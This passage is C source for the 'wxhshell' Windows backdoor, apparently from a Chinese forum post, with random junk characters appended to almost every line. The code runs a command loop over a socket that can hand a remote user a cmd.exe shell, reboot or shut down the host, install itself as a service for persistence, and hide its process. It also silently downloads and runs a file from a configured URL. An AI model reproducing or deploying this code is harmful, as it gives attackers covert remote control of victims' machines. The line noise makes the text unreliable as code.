  // 帮助 0{p#j~ZhC  
  case '?': { CXx*_@}MU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A>;bHf@  
    break; :g=qz~2Xk  
  } umH40rX+  
  // 安装 .glA gt  
  case 'i': { ;) z:fToh  
    if(Install()) Y0dEH^I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VSI9U3t3w  
    else Q%f^)HZGR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '9Xu p  
    break; $$;M^WV^?.  
    } /cQueUME`  
  // 卸载 _P 3G  
  case 'r': { ND#Yen ye  
    if(Uninstall()) -[9JJ/7y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1POmP&fI(  
    else }"P|`"WW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b)5uf'?-  
    break; P90yI  
    } }Gm>`cw-  
  // 显示 wxhshell 所在路径 S8wLmd>  
  case 'p': { N&+x+;Kx  
    char svExeFile[MAX_PATH]; $)ijN^hV  
    strcpy(svExeFile,"\n\r"); U175{N%3  
      strcat(svExeFile,ExeFile); c&?m>2^6  
        send(wsh,svExeFile,strlen(svExeFile),0); /}fHt^2H  
    break; gpvYb7Of0  
    } kY|utoAP  
  // 重启 H.|#c^I  
  case 'b': { (Ag1 6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FF(#]vz'  
    if(Boot(REBOOT)) `O!X((  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /h H  
    else { lH x^D;m6  
    closesocket(wsh); Kp~VS<3  
    ExitThread(0); s_OF(o  
    } ~IfJwBn-i  
    break; n&;85IF1  
    } Ms5ap<q#  
  // 关机 HI R~"It$  
  case 'd': { bz2ztH9 n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i$:*Pb3mV  
    if(Boot(SHUTDOWN)) v6M6>&RR|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vl /+;6_  
    else { d *|Y o  
    closesocket(wsh); L~rBAIdD  
    ExitThread(0); vrhT<+q  
    } +_?hK{Ib"  
    break; H z1%x  
    } t?x<g<PJ4  
  // 获取shell rq/yD,I,  
  case 's': { r6MMCJ|G  
    CmdShell(wsh); +ocol6G7W  
    closesocket(wsh); fF$<7O)+]  
    ExitThread(0); ?GoR^p #p  
    break; l|~A#kq  
  } vMi;+6'n>  
  // 退出 Jr ,;>   
  case 'x': { D3Ig>gKo?m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "$Z= %.3Q  
    CloseIt(wsh); Vod\a 5c  
    break; qo90t{|c  
    } Ustv{:7v  
  // 离开 nQX:T;WL@  
  case 'q': { uD$u2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hk(ZM#Bh  
    closesocket(wsh); <EB+1GFuI  
    WSACleanup(); [#<-ZC#T*  
    exit(1); @fZ,.2ar  
    break; I {S;L  
        } ( iBl   
  } G C),N\@Q  
  } <CYd+! (  
hYT0l$Ng  
  // 提示信息 W#4 7h7M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SIF/-{i(X  
} [fya)}  
  } @Q ]=\N:  
yYIf5S`V]  
  return; L3u&/Tn2  
} dUeN*Nq&(,  
BOb">6C  
// shell模块句柄 KQaxvU)L  
int CmdShell(SOCKET sock) @w#-aGJO  
{ q1$N>;&  
STARTUPINFO si; p*R;hU  
ZeroMemory(&si,sizeof(si)); }{K) 4M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W7R<%?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ??-[eB.  
PROCESS_INFORMATION ProcessInfo; 0U(@= 7V  
char cmdline[]="cmd"; {3>$[bT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1b `1{%  
  return 0; ~drS} V  
} zH?!  
jH5 k  
// 自身启动模式 l[mWf  
int StartFromService(void) Gv!2f  
{ 6"L cJ%o  
typedef struct U2tV4_ e  
{ 'NXN& {  
  DWORD ExitStatus; ?/wm(uL  
  DWORD PebBaseAddress; )0.kv2o.  
  DWORD AffinityMask; }>pknc?  
  DWORD BasePriority; 8O5s`qKMYT  
  ULONG UniqueProcessId;  acajHs  
  ULONG InheritedFromUniqueProcessId; [i21FX  
}   PROCESS_BASIC_INFORMATION; `quw9j9`C\  
zsEc(  
PROCNTQSIP NtQueryInformationProcess; 9|^2",V  
>a!/QMh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  <$A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q~b  &  
. oF &Ff/[  
  HANDLE             hProcess; |sJ[0z  
  PROCESS_BASIC_INFORMATION pbi; *.ll<p+(-  
y2Q&s 9$Do  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !_]Y~[  
  if(NULL == hInst ) return 0; d\&U*=  
/kZebNf6H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e&|'I"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @ wGPqg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SB;&GHq"n  
.9/ hHCp  
  if (!NtQueryInformationProcess) return 0; }/0X'o  
\#2Z)Kz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j"t(0 m  
  if(!hProcess) return 0; WrnrFz  
^H p; .f.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @N>\|!1CC  
*<$*"p  
  CloseHandle(hProcess); SXSgld2uS  
I13y6= d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); & TCkpS  
if(hProcess==NULL) return 0; zq 3\}9  
}kw#7m54  
HMODULE hMod; B+|Kjlt  
char procName[255]; DTX0  
unsigned long cbNeeded; /H[=5  
Hck]aKI+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G*?8MTP8![  
a kkNI3  
  CloseHandle(hProcess); |0&IXOW"XF  
/7(W?xOe  
if(strstr(procName,"services")) return 1; // 以服务启动 paA(C|%{  
AwCcK6N1  
  return 0; // 注册表启动 on!,c>nNa  
} HDz5&7* .  
{X!r8i  
// 主模块 =}<IfNA  
int StartWxhshell(LPSTR lpCmdLine) 3<e=g)F  
{ Yj<a" Gr4[  
  SOCKET wsl; 7m47rJyW4  
BOOL val=TRUE; J@/kIrx  
  int port=0; [7:,?$tC  
  struct sockaddr_in door; XnH05LQ  
o3XvRj  
  if(wscfg.ws_autoins) Install(); @JiLgIe `  
0.Q Ujw  
port=atoi(lpCmdLine); %HhBt5w  
pN, u`[  
if(port<=0) port=wscfg.ws_port; 'NbHa!  
>1X|^  
  WSADATA data; [@_Jj3`4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +X\FBvP&  
c^5~QGuQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V%t.l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DcS+_>a\{l  
  door.sin_family = AF_INET; {Ea b j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]]HNd7Vh  
  door.sin_port = htons(port); 5p,RI&nlN  
W Tcw4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;_XFo&@  
closesocket(wsl); K,tQ!kk  
return 1; PioZIb/{  
} %6t:(z  
av(6wht8  
  if(listen(wsl,2) == INVALID_SOCKET) { Ml`:UrU  
closesocket(wsl); e_^26^{q  
return 1; cQjv$$&6[  
} +Z,;,5'5G  
  Wxhshell(wsl); '"52uZ{  
  WSACleanup(); QDZWX`qw{  
m%0p\Y-/  
return 0; I<DL=V  
7:e{;iG  
} ynp8r f  
YByLoM*  
// 以NT服务方式启动 Q1lyj7c#x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .S EdY:  
{ V_)-#=J  
DWORD   status = 0; ),_@WW;k  
  DWORD   specificError = 0xfffffff; uIY#e<)}G  
n5|fHk^s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O4 w(T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "BAK !N$9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xKbXt;l2  
  serviceStatus.dwWin32ExitCode     = 0; UklUw  
  serviceStatus.dwServiceSpecificExitCode = 0; _OYasJUMG  
  serviceStatus.dwCheckPoint       = 0; 2bz2KB5>  
  serviceStatus.dwWaitHint       = 0; //B&k`u  
;2G*wR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g%o(+d  
  if (hServiceStatusHandle==0) return; OU E (I3_  
}ZYd4h|g\z  
status = GetLastError(); iG $!6;w<  
  if (status!=NO_ERROR) XMZ,Y7  
{ {.`vs;U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @?ebuj5{e  
    serviceStatus.dwCheckPoint       = 0; P|`8}|}a  
    serviceStatus.dwWaitHint       = 0; pR<`H'  
    serviceStatus.dwWin32ExitCode     = status; SV4E0c>  
    serviceStatus.dwServiceSpecificExitCode = specificError; C-xr"]#]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @b\$yB@z  
    return; `&qL(66  
  } W@>% {eE  
&{5,:%PXw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sVQ|*0(J0r  
  serviceStatus.dwCheckPoint       = 0; bt SRtf  
  serviceStatus.dwWaitHint       = 0; Y!xF ;a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F k7?xc  
} " > ypIR<  
.Cv6kgB@c  
// 处理NT服务事件,比如:启动、停止 8H[<X_/ke  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XE RUo  
{ 3F"lXguS  
switch(fdwControl) v@sIHb  
{ qfF~D0}  
case SERVICE_CONTROL_STOP: |*Yr<zt  
  serviceStatus.dwWin32ExitCode = 0; ME$[=?7XX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xc ++b|k  
  serviceStatus.dwCheckPoint   = 0; +:2klJ  
  serviceStatus.dwWaitHint     = 0; `b&%Hm  
  { wKh4|Ka  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N>uRf0E>  
  } O *C;Vqt  
  return; goNG' o %|  
case SERVICE_CONTROL_PAUSE: E#34Wh2z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gE'sO T9v  
  break; _{ue8kGt  
case SERVICE_CONTROL_CONTINUE: ,O5NLg-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E*& vy  
  break; I@\lN&HC  
case SERVICE_CONTROL_INTERROGATE: BkAm/R  
  break; pp?D7S  
}; m[osg< CR_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TvoyZW\?w  
} >-?f0 K  
=>S]q71  
// 标准应用程序主函数 5PCqYN(:B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `?H]h"{7Q  
{ rw[ph[\X  
E)&I@m  
// 获取操作系统版本 &N9 a<w8+  
OsIsNt=GetOsVer(); 'ycJMYP8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ep_HcX`  
OG~gFZr)6  
  // 从命令行安装 u2 I*-K  
  if(strpbrk(lpCmdLine,"iI")) Install(); YpHg&|Fr  
@)+AaC#-  
  // 下载执行文件 gk4;>}  
if(wscfg.ws_downexe) { 7O2/z:$f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8LJ8 }%*  
  WinExec(wscfg.ws_filenam,SW_HIDE); &, vcJ{.  
} ,oe <  
J-:.FKf\5l  
if(!OsIsNt) { T  wB}l  
// 如果时win9x,隐藏进程并且设置为注册表启动 nUr5Qn?  
HideProc(); hR n<em  
StartWxhshell(lpCmdLine); CZe ]kXNv  
} )CYGQMK  
else w_c"@CjkE  
  if(StartFromService()) <V'@ks%  
  // 以服务方式启动 L- iy  
  StartServiceCtrlDispatcher(DispatchTable); }v;V=%N+v  
else %QH$ipM  
  // 普通方式启动 _{O>v\u  
  StartWxhshell(lpCmdLine); 3Aip}<1  
*"2+B&Y  
return 0; sjTZF-  
}
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只看该作者 1 发表于: 2006-10-10
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